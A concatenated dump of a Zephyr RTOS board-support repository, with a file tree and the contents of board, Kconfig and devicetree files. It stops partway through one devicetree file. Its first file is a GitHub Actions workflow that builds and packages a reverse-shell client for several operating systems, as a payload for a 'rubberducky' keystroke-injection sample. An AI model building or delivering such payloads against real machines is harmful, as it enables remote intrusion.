├── .github └── workflows │ └── revshell.yml ├── .gitignore ├── CMakeLists.txt ├── Kconfig ├── LICENSE ├── README.md ├── boards ├── nxp │ └── lpc845brk │ │ ├── Kconfig.lpc845brk │ │ ├── board.cmake │ │ ├── board.yml │ │ ├── lpc845brk.dts │ │ ├── lpc845brk_defconfig │ │ └── support │ │ └── openocd.cfg └── others │ ├── 6wire │ ├── 6wire-pinctrl.dtsi │ ├── 6wire.dts │ ├── 6wire_defconfig │ ├── Kconfig.6wire │ ├── board.cmake │ ├── board.yml │ └── support │ │ └── openocd.cfg │ ├── efm32wg │ ├── Kconfig.defconfig │ ├── Kconfig.efm32wg │ ├── board.cmake │ ├── board.yml │ ├── efm32wg.dts │ ├── efm32wg_defconfig │ └── support │ │ └── openocd.cfg │ ├── jabican_usb_pro │ ├── CMakeLists.txt │ ├── Kconfig.defconfig │ ├── Kconfig.jabican_usb_pro │ ├── board.cmake │ ├── board.yml │ ├── hal_nxp.patch │ ├── jabican_usb_pro-pinctrl.dtsi │ ├── jabican_usb_pro.dts │ ├── jabican_usb_pro_defconfig │ ├── mcuboot.conf │ └── zephyr.patch │ ├── k66f_breakout │ ├── Kconfig.defconfig │ ├── Kconfig.k66f_breakout │ ├── board.cmake │ ├── board.yml │ ├── k66f_breakout-pinctrl.dtsi │ ├── k66f_breakout.dts │ └── k66f_breakout_defconfig │ ├── k66f_usbhs │ ├── CMakeLists.txt │ ├── Kconfig.defconfig │ ├── Kconfig.k66f_usbhs │ ├── board.c │ ├── board.cmake │ ├── board.yml │ ├── k66f_usbhs-pinctrl.dtsi │ ├── k66f_usbhs.dts │ ├── k66f_usbhs_defconfig │ ├── mcuboot.conf │ └── usb_device_ehci.h │ ├── leveler │ ├── Kconfig.leveler │ ├── board.cmake │ ├── board.yml │ ├── leveler.dts │ ├── leveler_defconfig │ └── support │ │ └── openocd.cfg │ ├── lpc845_lin │ ├── CMakeLists.txt │ ├── Kconfig.lpc845_lin │ ├── board.c │ ├── board.cmake │ ├── board.yml │ ├── lpc845_lin.dts │ ├── lpc845_lin_defconfig │ └── support │ │ └── openocd.cfg │ ├── nogusb │ ├── Kconfig.nogusb │ ├── board.cmake │ ├── board.yml │ ├── mcuboot.conf │ ├── nogusb.dts │ └── nogusb_defconfig │ ├── stm32_esc │ ├── Kconfig.stm32_esc │ ├── board.cmake │ ├── board.yml │ ├── stm32_esc.dts │ ├── stm32_esc_defconfig │ └── support │ │ └── openocd.cfg │ └── usb_pdmon │ ├── CMakeLists.txt │ ├── Kconfig.usb_pdmon │ ├── board.c │ ├── board.cmake │ ├── board.yml │ ├── support │ └── wch-riscv.cfg │ ├── usb_pdmon.dts │ └── usb_pdmon_defconfig ├── drivers ├── CMakeLists.txt ├── Kconfig ├── adc │ ├── CMakeLists.txt │ ├── Kconfig │ ├── Kconfig.ch32 │ └── adc_ch32.c ├── gpio │ ├── CMakeLists.txt │ ├── Kconfig │ ├── Kconfig.ch32 │ ├── Kconfig.lpc84x │ ├── gpio_ch32.c │ └── gpio_lpc84x.c ├── lin │ ├── CMakeLists.txt │ ├── Kconfig │ ├── Kconfig.uart │ └── lin_uart.c ├── sdhc │ ├── CMakeLists.txt │ ├── Kconfig │ ├── Kconfig.mcux_sdhc │ └── mcux_sdhc.c ├── serial │ ├── CMakeLists.txt │ ├── Kconfig │ ├── Kconfig.ch32 │ ├── Kconfig.lpc84x │ ├── ch32_uart.c │ └── lpc84x_uart.c ├── usb │ ├── CMakeLists.txt │ ├── Kconfig │ └── device │ │ ├── CMakeLists.txt │ │ ├── Kconfig │ │ └── usb_dc_ch32_usbfs.c └── usb_c │ ├── CMakeLists.txt │ ├── Kconfig │ └── tcpc │ ├── CMakeLists.txt │ ├── Kconfig │ ├── Kconfig.ch32 │ └── ucpd_ch32.c ├── dts ├── arm │ └── nxp │ │ ├── nxp_lpc844.dtsi │ │ ├── nxp_lpc845.dtsi │ │ └── nxp_lpc84x.dtsi ├── bindings │ ├── adc │ │ └── wch,ch32-adc.yaml │ ├── gpio │ │ ├── nxp,lpc84x-gpio.yaml │ │ └── wch,ch32-gpio.yaml │ ├── lin │ │ ├── lin-controller.yaml │ │ └── virtual,lin-uart.yaml │ ├── sdhc │ │ └── nxp,mcux-sdhc.yaml │ ├── serial │ │ ├── nxp,lpc84x-uart.yaml │ │ └── wch,ch32-uart.yaml │ ├── tcpc │ │ └── wch,ch32-ucpd.yaml │ ├── usb │ │ └── wch,ch32-usbfs.yaml │ └── vendor-prefixes.txt └── riscv │ └── wch │ └── wch_ch32x035.dtsi ├── include └── zephyrboards │ ├── drivers │ └── lin.h │ └── dt-bindings │ ├── adc │ └── ch32x035-adc.h │ ├── clock │ ├── ch32x035-clock.h │ └── lpc84x-clock.h │ └── pinctrl │ ├── ch32x035-pinctrl.h │ └── lpc84x-pinctrl.h ├── samples ├── CMakeLists.txt ├── Kconfig ├── apps │ ├── README.md │ ├── fakeusbdrive │ │ ├── CMakeLists.txt │ │ ├── fakedisk │ │ │ ├── CMakeLists.txt │ │ │ ├── Kconfig │ │ │ ├── fakedisk.c │ │ │ ├── fakedisk.h │ │ │ └── zephyr │ │ │ │ └── module.yml │ │ ├── prj.conf │ │ └── src │ │ │ └── main.c │ └── rubberducky │ │ ├── CMakeLists.txt │ │ ├── inc │ │ ├── error.h │ │ ├── hid.h │ │ ├── payload.h │ │ └── rgb.h │ │ ├── payloads │ │ ├── common.h │ │ ├── example.cpp │ │ ├── revshell │ │ │ ├── .cargo │ │ │ │ └── config.toml │ │ │ ├── Cargo.toml │ │ │ ├── certs │ │ │ │ ├── cert.pem │ │ │ │ └── root-ca.pem │ │ │ └── src │ │ │ │ ├── client.rs │ │ │ │ └── server.rs │ │ └── shell.cpp │ │ ├── prj.conf │ │ └── src │ │ ├── bos_desc.h │ │ ├── error.cpp │ │ ├── hid.cpp │ │ ├── main.cpp │ │ ├── payload.cpp │ │ └── rgb.cpp ├── boards │ ├── 6wire │ │ ├── 6wire.overlay │ │ ├── CMakeLists.txt │ │ ├── prj.conf │ │ └── src │ │ │ ├── fourwire.c │ │ │ ├── fourwire.h │ │ │ └── main.c │ ├── README.md │ ├── leveler │ │ ├── CMakeLists.txt │ │ ├── leveler.overlay │ │ ├── prj.conf │ │ └── src │ │ │ ├── main.c │ │ │ └── vector.h │ └── stm32_esc │ │ ├── CMakeLists.txt │ │ ├── prj.conf │ │ └── src │ │ ├── main.c │ │ ├── motor.c │ │ ├── motor.h │ │ ├── rgb.c │ │ ├── rgb.h │ │ ├── sense.c │ │ └── sense.h └── tests │ ├── README.md │ ├── cpp_test │ ├── CMakeLists.txt │ ├── prj.conf │ └── src │ │ └── main.cpp │ ├── generic_test │ ├── CMakeLists.txt │ ├── boards │ │ ├── efm32wg.conf │ │ ├── efm32wg.overlay │ │ ├── jabican_usb_pro.conf │ │ ├── jabican_usb_pro.overlay │ │ ├── k66f_breakout.conf │ │ ├── k66f_breakout.overlay │ │ ├── k66f_usbhs.conf │ │ ├── k66f_usbhs.overlay │ │ ├── lpc845_lin.overlay │ │ ├── lpc845brk.overlay │ │ ├── nogusb.conf │ │ ├── nogusb.overlay │ │ ├── usb_pdmon.conf │ │ └── usb_pdmon.overlay │ ├── dts │ │ └── bindings │ │ │ ├── test,adc.yaml │ │ │ ├── test,dac.yaml │ │ │ └── test.yaml │ ├── prj.conf │ └── src │ │ ├── adc_test.c │ │ ├── button_test.c │ │ ├── can_test.c │ │ ├── common.h │ │ ├── dac_test.c │ │ ├── i2c_test.c │ │ ├── led_test.c │ │ ├── main.c │ │ ├── network_test.c │ │ ├── sd_test.c │ │ ├── spi_test.c │ │ ├── uart_test.c │ │ └── usb_test.c │ └── lin_test │ ├── CMakeLists.txt │ ├── boards │ ├── jabican_usb_pro.conf │ ├── jabican_usb_pro.overlay │ └── nucleo_g0b1re.overlay │ ├── prj.conf │ └── src │ └── main.c ├── soc ├── nxp │ └── lpc │ │ ├── CMakeLists.txt │ │ ├── Kconfig │ │ ├── Kconfig.defconfig │ │ ├── Kconfig.soc │ │ ├── lpc84x │ │ ├── CMakeLists.txt │ │ ├── Kconfig │ │ ├── Kconfig.defconfig │ │ ├── Kconfig.soc │ │ ├── soc.c │ │ └── soc.h │ │ └── soc.yml └── wch │ └── ch32 │ ├── CMakeLists.txt │ ├── Kconfig │ ├── Kconfig.defconfig │ ├── Kconfig.soc │ ├── ch32x035 │ ├── CMakeLists.txt │ ├── Kconfig │ ├── Kconfig.defconfig │ ├── Kconfig.soc │ ├── ch32x035_conf.h │ ├── soc.c │ ├── soc.h │ └── system_ch32x035.h │ ├── common │ ├── CMakeLists.txt │ ├── idle.c │ ├── irq.c │ ├── soc_common.h │ ├── startup.c │ └── timer.c │ └── soc.yml ├── west.yml └── zephyr └── module.yml /.github/workflows/revshell.yml: -------------------------------------------------------------------------------- 1 | name: revshell 2 | 3 | on: workflow_dispatch 4 | 5 | jobs: 6 | build-unix: 7 | name: ${{ matrix.os }} build 8 | runs-on: ${{ matrix.os }} 9 | strategy: 10 | matrix: 11 | os: [ubuntu-latest, macos-13, macos-14] 12 | steps: 13 | - uses: actions/checkout@v4 14 | - name: Build executable 15 | working-directory: ./samples/apps/rubberducky/payloads/revshell 16 | run: cargo build --release --bin client 17 | - name: Rename executable 18 | run: mv ./samples/apps/rubberducky/payloads/revshell/target/release/client ./${{ matrix.os }}-client 19 | - uses: actions/upload-artifact@v4 20 | with: 21 | name: ${{ matrix.os }}-client 22 | path: ${{ matrix.os }}-client 23 | 24 | build-windows: 25 | name: windows-latest build 26 | runs-on: windows-latest 27 | steps: 28 | - uses: actions/checkout@v4 29 | - uses: ilammy/setup-nasm@v1 30 | - name: Build executable 31 | working-directory: ./samples/apps/rubberducky/payloads/revshell 32 | run: cargo build --release --bin client 33 | - name: Rename executable 34 | run: mv ./samples/apps/rubberducky/payloads/revshell/target/release/client.exe ./windows-latest-client.exe 35 | - uses: actions/upload-artifact@v4 36 | with: 37 | name: windows-latest-client 38 | path: windows-latest-client.exe 39 | 40 | merge: 41 | name: merge artifacts 42 | runs-on: ubuntu-latest 43 | needs: [build-unix, build-windows] 44 | steps: 45 | - uses: actions/upload-artifact/merge@v4 46 | with: 47 | name: clients 48 | delete-merged: true 49 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | .DS_Store 2 | .vscode 3 | build 4 | target 5 | Cargo.lock 6 | *.key.pem 7 | -------------------------------------------------------------------------------- /CMakeLists.txt: -------------------------------------------------------------------------------- 1 | set(ZB_DIR ${CMAKE_CURRENT_LIST_DIR} CACHE PATH "zephyrboards root directory") 2 | 3 | zephyr_include_directories(include) 4 | 5 | list(APPEND SYSCALL_INCLUDE_DIRS ${ZB_DIR}/include/zephyrboards/drivers) 6 | set(SYSCALL_INCLUDE_DIRS ${SYSCALL_INCLUDE_DIRS} PARENT_SCOPE) 7 | 8 | add_subdirectory(samples) 9 | add_subdirectory(drivers) 10 | -------------------------------------------------------------------------------- /Kconfig: -------------------------------------------------------------------------------- 1 | menu "zephyrboards" 2 | 3 | rsource "samples/Kconfig" 4 | rsource "drivers/Kconfig" 5 | 6 | endmenu 7 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # zephyrboards 2 | 3 | Extra Zephyr RTOS board definitions, microcontroller support, drivers, and scripts. 4 | 5 | ## setup 6 | 7 | Follow [Zephyr's Getting Started Guide](https://docs.zephyrproject.org/latest/getting_started/index.html) to get dependencies installed. Then create a new workspace using this repo. 8 | 9 | ``` 10 | west init -m https://github.com/dragonlock2/zephyrboards.git 11 | cd 12 | west update 13 | ``` 14 | 15 | ## boards 16 | 17 | | name | notes | 18 | | ---- | ----- | 19 | | [k66f_breakout](https://matthewtran.dev/2021/08/k66f-breakout/) | | 20 | | [nogusb](https://github.com/dragonlock2/kicadboards/tree/main/projects/NOGUSB) | MCUboot | 21 | | [lpc845brk](https://www.nxp.com/products/processors-and-microcontrollers/arm-microcontrollers/general-purpose-mcus/lpc800-cortex-m0-plus-/lpc845-breakout-board-for-lpc84x-family-mcus:LPC845-BRK) | | 22 | | [leveler](https://github.com/berkeleyauv/electrical_training) | | 23 | | [6wire](https://matthewtran.dev/2022/05/6wire) | | 24 | | [efm32wg](https://github.com/dragonlock2/kicadboards/tree/main/breakouts/efm32wg) | | 25 | | [jabican_usb_pro](https://matthewtran.dev/2022/12/jabican-usb-pro) | MCUboot | 26 | | [stm32_esc](https://matthewtran.dev/2022/12/stm32-esc) | | 27 | | [lpc845_lin](https://github.com/dragonlock2/kicadboards/tree/main/breakouts/lpc845_lin) | | 28 | | [usb_pdmon](https://github.com/dragonlock2/kicadboards/tree/main/breakouts/usb_pdmon) | | 29 | | [k66f_usbhs](https://matthewtran.dev/2024/06/k66f_usbhs) | MCUboot | 30 | 31 | ## microcontroller 32 | 33 | | name | notes | 34 | | ---- | ----- | 35 | | LPC84x | uart, gpio | 36 | | CH32X035 | usb, usbpd, adc, uart, non-isr gpio | 37 | | K66F | sdhc | 38 | 39 | ## drivers 40 | 41 | | name | notes | 42 | | ---- | ----- | 43 | | lin | lightweight, callback based API | 44 | | lin_uart | works w/ any uart | 45 | -------------------------------------------------------------------------------- /boards/nxp/lpc845brk/Kconfig.lpc845brk: -------------------------------------------------------------------------------- 1 | config BOARD_LPC845BRK 2 | select SOC_LPC845 3 | select SOC_PART_NUMBER_LPC845M301JBD48 4 | -------------------------------------------------------------------------------- /boards/nxp/lpc845brk/board.cmake: -------------------------------------------------------------------------------- 1 | board_runner_args(pyocd "--target=lpc845") 2 | 3 | # not sure why, but sometimes need to run and cancel openocd before pyocd works 4 | include(${ZEPHYR_BASE}/boards/common/pyocd.board.cmake) 5 | include(${ZEPHYR_BASE}/boards/common/openocd.board.cmake) 6 | -------------------------------------------------------------------------------- /boards/nxp/lpc845brk/board.yml: -------------------------------------------------------------------------------- 1 | board: 2 | name: lpc845brk 3 | vendor: nxp 4 | socs: 5 | - name: lpc845 6 | -------------------------------------------------------------------------------- /boards/nxp/lpc845brk/lpc845brk.dts: -------------------------------------------------------------------------------- 1 | /dts-v1/; 2 | #include 3 | #include 4 | 5 | / { 6 | model = "LPC845-BRK Development Board"; 7 | compatible = "nxp,lpc"; 8 | 9 | chosen { 10 | zephyr,sram = &sram0; 11 | zephyr,flash = &flash0; 12 | zephyr,console = &uart0; 13 | }; 14 | 15 | aliases { 16 | led0 = &led_r; 17 | led1 = &led_g; 18 | led2 = &led_b; 19 | sw0 = &usr_btn; 20 | }; 21 | 22 | leds { 23 | compatible = "gpio-leds"; 24 | led_r: led_r { gpios = <&gpio1 2 GPIO_ACTIVE_LOW>; }; 25 | led_g: led_g { gpios = <&gpio1 0 GPIO_ACTIVE_LOW>; }; 26 | led_b: led_b { gpios = <&gpio1 1 GPIO_ACTIVE_LOW>; }; 27 | }; 28 | 29 | buttons { 30 | compatible = "gpio-keys"; 31 | usr_btn: usr_btn { gpios = <&gpio0 4 (GPIO_ACTIVE_LOW | GPIO_PULL_UP)>; }; 32 | }; 33 | }; 34 | 35 | &uart0 { 36 | status = "okay"; 37 | pinctrl = ; 38 | current-speed = <115200>; 39 | }; 40 | 41 | &gpio0 { 42 | status = "okay"; 43 | }; 44 | 45 | &gpio1 { 46 | status = "okay"; 47 | }; 48 | -------------------------------------------------------------------------------- /boards/nxp/lpc845brk/lpc845brk_defconfig: -------------------------------------------------------------------------------- 1 | CONFIG_SYS_CLOCK_HW_CYCLES_PER_SEC=30000000 2 | 3 | CONFIG_SERIAL=y 4 | CONFIG_CONSOLE=y 5 | CONFIG_UART_CONSOLE=y 6 | 7 | CONFIG_GPIO=y 8 | 9 | CONFIG_BUILD_OUTPUT_HEX=y 10 | -------------------------------------------------------------------------------- /boards/nxp/lpc845brk/support/openocd.cfg: -------------------------------------------------------------------------------- 1 | source [find interface/cmsis-dap.cfg] 2 | source [find target/lpc84x.cfg] 3 | -------------------------------------------------------------------------------- /boards/others/6wire/6wire-pinctrl.dtsi: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | &pinctrl { 4 | pwm_default: pwm_default { 5 | group1 { 6 | pinmux = , 7 | , 8 | ; 9 | }; 10 | }; 11 | 12 | sercom5_uart_default: sercom5_uart_default { 13 | group1 { 14 | pinmux = , 15 | ; 16 | }; 17 | }; 18 | 19 | sercom4_i2c_default: sercom4_i2c_default { 20 | group1 { 21 | pinmux = , 22 | ; 23 | }; 24 | }; 25 | 26 | usb_dc_default: usb_dc_default { 27 | group1 { 28 | pinmux = , 29 | ; 30 | }; 31 | }; 32 | }; 33 | -------------------------------------------------------------------------------- /boards/others/6wire/6wire.dts: -------------------------------------------------------------------------------- 1 | /dts-v1/; 2 | #include 3 | #include 4 | #include "6wire-pinctrl.dtsi" 5 | 6 | / { 7 | model = "6wire"; 8 | compatible = "atmel,samd21g16a", "atmel,samd21"; 9 | 10 | chosen { 11 | zephyr,console = &sercom5; 12 | zephyr,sram = &sram0; 13 | zephyr,flash = &flash0; 14 | }; 15 | 16 | aliases { 17 | led0 = &led_red; 18 | led1 = &led_green; 19 | led2 = &led_blue; 20 | sw0 = &user_btn; 21 | pwm-led0 = &led_red_pwm; 22 | red-pwm-led = &led_red_pwm; 23 | green-pwm-led = &led_green_pwm; 24 | blue-pwm-led = &led_blue_pwm; 25 | }; 26 | 27 | leds { 28 | compatible = "gpio-leds"; 29 | led_red: led_0 { gpios = <&porta 10 GPIO_ACTIVE_LOW>; }; 30 | led_green: led_1 { gpios = <&porta 9 GPIO_ACTIVE_LOW>; }; 31 | led_blue: led_2 { gpios = <&porta 8 GPIO_ACTIVE_LOW>; }; 32 | mux_a0: mux_a0 { gpios = <&porta 2 0>; }; 33 | mux_a1: mux_a1 { gpios = <&porta 3 0>; }; 34 | }; 35 | 36 | pwmleds { 37 | compatible = "pwm-leds"; 38 | led_red_pwm: led_red_pwm { pwms = <&tcc0 2 PWM_MSEC(20)>; }; 39 | led_green_pwm: led_green_pwm { pwms = <&tcc0 1 PWM_MSEC(20)>; }; 40 | led_blue_pwm: led_blue_pwm { pwms = <&tcc0 0 PWM_MSEC(20)>; }; 41 | }; 42 | 43 | buttons { 44 | compatible = "gpio-keys"; 45 | user_btn: button { gpios = <&porta 12 (GPIO_PULL_UP | GPIO_ACTIVE_LOW)>; }; 46 | drdy: drdy { gpios = <&porta 4 (GPIO_PULL_UP | GPIO_ACTIVE_LOW)>; }; 47 | }; 48 | }; 49 | 50 | &cpu0 { 51 | clock-frequency = <48000000>; 52 | }; 53 | 54 | &sercom5 { 55 | status = "okay"; 56 | compatible = "atmel,sam0-uart"; 57 | current-speed = <115200>; 58 | rxpo = <1>; 59 | txpo = <0>; 60 | pinctrl-0 = <&sercom5_uart_default>; 61 | pinctrl-names = "default"; 62 | }; 63 | 64 | &tcc0 { 65 | status = "okay"; 66 | compatible = "atmel,sam0-tcc-pwm"; 67 | /* Gives a maximum period of 1.4s */ 68 | prescaler = <4>; 69 | #pwm-cells = <2>; 70 | pinctrl-0 = <&pwm_default>; 71 | pinctrl-names = "default"; 72 | }; 73 | 74 | zephyr_udc0: &usb0 { 75 | status = "okay"; 76 | pinctrl-0 = <&usb_dc_default>; 77 | pinctrl-names = "default"; 78 | }; 79 | 80 | &sercom4 { 81 | status = "okay"; 82 | compatible = "atmel,sam0-i2c"; 83 | clock-frequency = ; 84 | #address-cells = <1>; 85 | #size-cells = <0>; 86 | pinctrl-0 = <&sercom4_i2c_default>; 87 | pinctrl-names = "default"; 88 | }; 89 | -------------------------------------------------------------------------------- /boards/others/6wire/6wire_defconfig: -------------------------------------------------------------------------------- 1 | CONFIG_SOC_ATMEL_SAMD_XOSC32K=y 2 | CONFIG_SOC_ATMEL_SAMD_XOSC32K_AS_MAIN=y 3 | 4 | CONFIG_SERIAL=y 5 | CONFIG_CONSOLE=y 6 | CONFIG_UART_CONSOLE=y 7 | 8 | CONFIG_GPIO=y 9 | 10 | CONFIG_BUILD_OUTPUT_HEX=y 11 | -------------------------------------------------------------------------------- /boards/others/6wire/Kconfig.6wire: -------------------------------------------------------------------------------- 1 | config BOARD_6WIRE 2 | select SOC_SAMD21G16A 3 | -------------------------------------------------------------------------------- /boards/others/6wire/board.cmake: -------------------------------------------------------------------------------- 1 | board_runner_args(pyocd "--target=ATSAMD21G16A") 2 | 3 | include(${ZEPHYR_BASE}/boards/common/pyocd.board.cmake) 4 | include(${ZEPHYR_BASE}/boards/common/openocd.board.cmake) 5 | -------------------------------------------------------------------------------- /boards/others/6wire/board.yml: -------------------------------------------------------------------------------- 1 | board: 2 | name: 6wire 3 | vendor: others 4 | socs: 5 | - name: samd21g16a 6 | -------------------------------------------------------------------------------- /boards/others/6wire/support/openocd.cfg: -------------------------------------------------------------------------------- 1 | source [find interface/cmsis-dap.cfg] 2 | source [find target/at91samdXX.cfg] 3 | -------------------------------------------------------------------------------- /boards/others/efm32wg/Kconfig.defconfig: -------------------------------------------------------------------------------- 1 | if BOARD_EFM32WG 2 | 3 | config CMU_HFXO_FREQ 4 | default 48000000 5 | 6 | config CMU_LFXO_FREQ 7 | default 32768 8 | 9 | config CMU_HFRCO_FREQ 10 | default 14000000 11 | 12 | endif # BOARD_EFM32WG 13 | -------------------------------------------------------------------------------- /boards/others/efm32wg/Kconfig.efm32wg: -------------------------------------------------------------------------------- 1 | config BOARD_EFM32WG 2 | select SOC_PART_NUMBER_EFM32WG990F256 3 | -------------------------------------------------------------------------------- /boards/others/efm32wg/board.cmake: -------------------------------------------------------------------------------- 1 | board_runner_args(pyocd "--target=EFM32WG332F256") 2 | 3 | include(${ZEPHYR_BASE}/boards/common/pyocd.board.cmake) 4 | include(${ZEPHYR_BASE}/boards/common/openocd.board.cmake) 5 | -------------------------------------------------------------------------------- /boards/others/efm32wg/board.yml: -------------------------------------------------------------------------------- 1 | board: 2 | name: efm32wg 3 | vendor: others 4 | socs: 5 | - name: efm32wg990f256 # actually efm32wg332f256 6 | -------------------------------------------------------------------------------- /boards/others/efm32wg/efm32wg.dts: -------------------------------------------------------------------------------- 1 | /dts-v1/; 2 | #include 3 | #include 4 | #include 5 | 6 | / { 7 | model = "EFM32WG breakout board"; 8 | compatible = "silabs,efm32wg"; 9 | 10 | chosen { 11 | zephyr,console = &usart2; 12 | zephyr,sram = &sram0; 13 | zephyr,flash = &flash0; 14 | }; 15 | 16 | aliases { 17 | led0 = &led_red; 18 | led1 = &led_green; 19 | led2 = &led_blue; 20 | sw0 = &user_button; 21 | }; 22 | 23 | leds { 24 | compatible = "gpio-leds"; 25 | led_red: led_0 { gpios = <&gpioc 8 GPIO_ACTIVE_LOW>; }; 26 | led_green: led_1 { gpios = <&gpioc 9 GPIO_ACTIVE_LOW>; }; 27 | led_blue: led_2 { gpios = <&gpioc 10 GPIO_ACTIVE_LOW>; }; 28 | }; 29 | 30 | gpio_keys { 31 | compatible = "gpio-keys"; 32 | user_button: button { gpios = <&gpioc 11 (GPIO_ACTIVE_LOW | GPIO_PULL_UP)>; }; 33 | }; 34 | }; 35 | 36 | &gpioa { 37 | status = "okay"; 38 | }; 39 | 40 | &gpiob { 41 | status = "okay"; 42 | }; 43 | 44 | &gpioc { 45 | status = "okay"; 46 | }; 47 | 48 | &gpiod { 49 | status = "okay"; 50 | }; 51 | 52 | &gpioe { 53 | status = "okay"; 54 | }; 55 | 56 | &gpiof { 57 | status = "okay"; 58 | }; 59 | 60 | &usart2 { 61 | status = "okay"; 62 | current-speed = <115200>; 63 | location-rx = ; 64 | location-tx = ; 65 | }; 66 | 67 | &usart0 { 68 | compatible = "silabs,gecko-spi-usart"; 69 | status = "okay"; 70 | #address-cells = <1>; 71 | #size-cells = <0>; 72 | 73 | location-rx = ; 74 | location-tx = ; 75 | location-clk = ; 76 | cs-gpios = <&gpioe 13 GPIO_ACTIVE_LOW>; 77 | }; 78 | 79 | &usart1 { 80 | compatible = "silabs,gecko-spi-usart"; 81 | status = "okay"; 82 | #address-cells = <1>; 83 | #size-cells = <0>; 84 | 85 | location-rx = ; 86 | location-tx = ; 87 | location-clk = ; 88 | cs-gpios = <&gpiod 3 GPIO_ACTIVE_LOW>; 89 | }; 90 | 91 | &pinctrl { 92 | i2c0_default: i2c0_default { 93 | group1 { 94 | psels = , 95 | , 96 | , 97 | ; 98 | }; 99 | }; 100 | 101 | i2c1_default: i2c1_default { 102 | group1 { 103 | psels = , 104 | , 105 | , 106 | ; 107 | }; 108 | }; 109 | }; 110 | 111 | &i2c0 { 112 | status = "okay"; 113 | pinctrl-0 = <&i2c0_default>; 114 | pinctrl-names = "default"; 115 | }; 116 | 117 | &i2c1 { 118 | status = "okay"; 119 | pinctrl-0 = <&i2c1_default>; 120 | pinctrl-names = "default"; 121 | }; 122 | 123 | // driver uses LFXO clock, limited to 9600 baud/s 124 | &leuart0 { 125 | status = "okay"; 126 | current-speed = <9600>; 127 | location-rx = ; 128 | location-tx = ; 129 | }; 130 | 131 | &leuart1 { 132 | status = "okay"; 133 | current-speed = <9600>; 134 | location-rx = ; 135 | location-tx = ; 136 | }; 137 | -------------------------------------------------------------------------------- /boards/others/efm32wg/efm32wg_defconfig: -------------------------------------------------------------------------------- 1 | CONFIG_SYS_CLOCK_HW_CYCLES_PER_SEC=48000000 2 | CONFIG_CMU_HFCLK_HFXO=y 3 | 4 | CONFIG_SERIAL=y 5 | CONFIG_CONSOLE=y 6 | CONFIG_UART_CONSOLE=y 7 | 8 | CONFIG_GPIO=y 9 | -------------------------------------------------------------------------------- /boards/others/efm32wg/support/openocd.cfg: -------------------------------------------------------------------------------- 1 | source [find interface/cmsis-dap.cfg] 2 | source [find target/efm32.cfg] 3 | -------------------------------------------------------------------------------- /boards/others/jabican_usb_pro/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | cmake_minimum_required(VERSION 3.20.0) 2 | 3 | # patches to account for differences of MK22F1M0AVLH12 4 | add_custom_target( 5 | apply_zephyr_patch 6 | COMMAND git apply ${BOARD_DIR}/zephyr.patch 7 | WORKING_DIRECTORY $ENV{ZEPHYR_BASE} 8 | ) 9 | add_custom_target( 10 | apply_hal_nxp_patch 11 | COMMAND git apply ${BOARD_DIR}/hal_nxp.patch 12 | WORKING_DIRECTORY $ENV{ZEPHYR_BASE}/../modules/hal/nxp 13 | ) 14 | add_dependencies(version_h apply_zephyr_patch) 15 | add_dependencies(version_h apply_hal_nxp_patch) 16 | 17 | add_custom_target( 18 | remove_zephyr_patch ALL 19 | COMMAND git apply -R ${BOARD_DIR}/zephyr.patch 20 | WORKING_DIRECTORY $ENV{ZEPHYR_BASE} 21 | DEPENDS zephyr_final 22 | ) 23 | add_custom_target( 24 | remove_hal_nxp_patch ALL 25 | COMMAND git apply -R ${BOARD_DIR}/hal_nxp.patch 26 | WORKING_DIRECTORY $ENV{ZEPHYR_BASE}/../modules/hal/nxp 27 | DEPENDS zephyr_final 28 | ) 29 | -------------------------------------------------------------------------------- /boards/others/jabican_usb_pro/Kconfig.defconfig: -------------------------------------------------------------------------------- 1 | if BOARD_JABICAN_USB_PRO 2 | 3 | config OSC_XTAL0_FREQ 4 | default 8000000 5 | 6 | config MCG_PRDIV0 7 | default 0x1 8 | 9 | config MCG_VDIV0 10 | default 0x6 11 | 12 | config MCG_FCRDIV 13 | default 0 14 | 15 | config CAN_MCUX_FLEXCAN 16 | default y 17 | depends on CAN 18 | 19 | config NUM_IRQS 20 | default 81 21 | 22 | endif # BOARD_JABICAN_USB_PRO 23 | -------------------------------------------------------------------------------- /boards/others/jabican_usb_pro/Kconfig.jabican_usb_pro: -------------------------------------------------------------------------------- 1 | config BOARD_JABICAN_USB_PRO 2 | select SOC_MK22F51212 3 | select SOC_PART_NUMBER_MK22FN512VLH12 4 | -------------------------------------------------------------------------------- /boards/others/jabican_usb_pro/board.cmake: -------------------------------------------------------------------------------- 1 | board_runner_args(jlink "--device=MK22FN1M0Axxx12") 2 | board_runner_args(pyocd "--target=k22f") 3 | 4 | include(${ZEPHYR_BASE}/boards/common/jlink.board.cmake) 5 | include(${ZEPHYR_BASE}/boards/common/pyocd.board.cmake) 6 | -------------------------------------------------------------------------------- /boards/others/jabican_usb_pro/board.yml: -------------------------------------------------------------------------------- 1 | board: 2 | name: jabican_usb_pro 3 | vendor: others 4 | socs: 5 | - name: mk22f51212 # actually mk22f1m0avlh12 6 | -------------------------------------------------------------------------------- /boards/others/jabican_usb_pro/jabican_usb_pro-pinctrl.dtsi: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | #define CAN0_TX_PTA12 KINETIS_MUX('A',12,2) 4 | #define CAN0_RX_PTA13 KINETIS_MUX('A',13,2) 5 | 6 | &pinctrl { 7 | uart0_default: uart0_default { 8 | group0 { 9 | pinmux = , ; 10 | drive-strength = "low"; 11 | slew-rate = "fast"; 12 | }; 13 | }; 14 | 15 | uart2_default: uart2_default { 16 | group0 { 17 | pinmux = , ; 18 | drive-strength = "low"; 19 | slew-rate = "fast"; 20 | }; 21 | }; 22 | 23 | flexcan0_default: flexcan0_default { 24 | group0 { 25 | pinmux = ; 26 | drive-strength = "low"; 27 | bias-pull-up; 28 | slew-rate = "fast"; 29 | }; 30 | group1 { 31 | pinmux = ; 32 | drive-strength = "low"; 33 | slew-rate = "fast"; 34 | }; 35 | }; 36 | }; 37 | -------------------------------------------------------------------------------- /boards/others/jabican_usb_pro/jabican_usb_pro.dts: -------------------------------------------------------------------------------- 1 | /dts-v1/; 2 | #include 3 | #include "jabican_usb_pro-pinctrl.dtsi" 4 | 5 | / { 6 | model = "JABICAN-USB Pro board"; 7 | compatible = "nxp,mk22f12", "nxp,k22f", "nxp,k2x"; 8 | // actually MK22F1M0AVLH12 which has CAN! 9 | 10 | aliases { 11 | led0 = &led_red; 12 | led1 = &led_green; 13 | led2 = 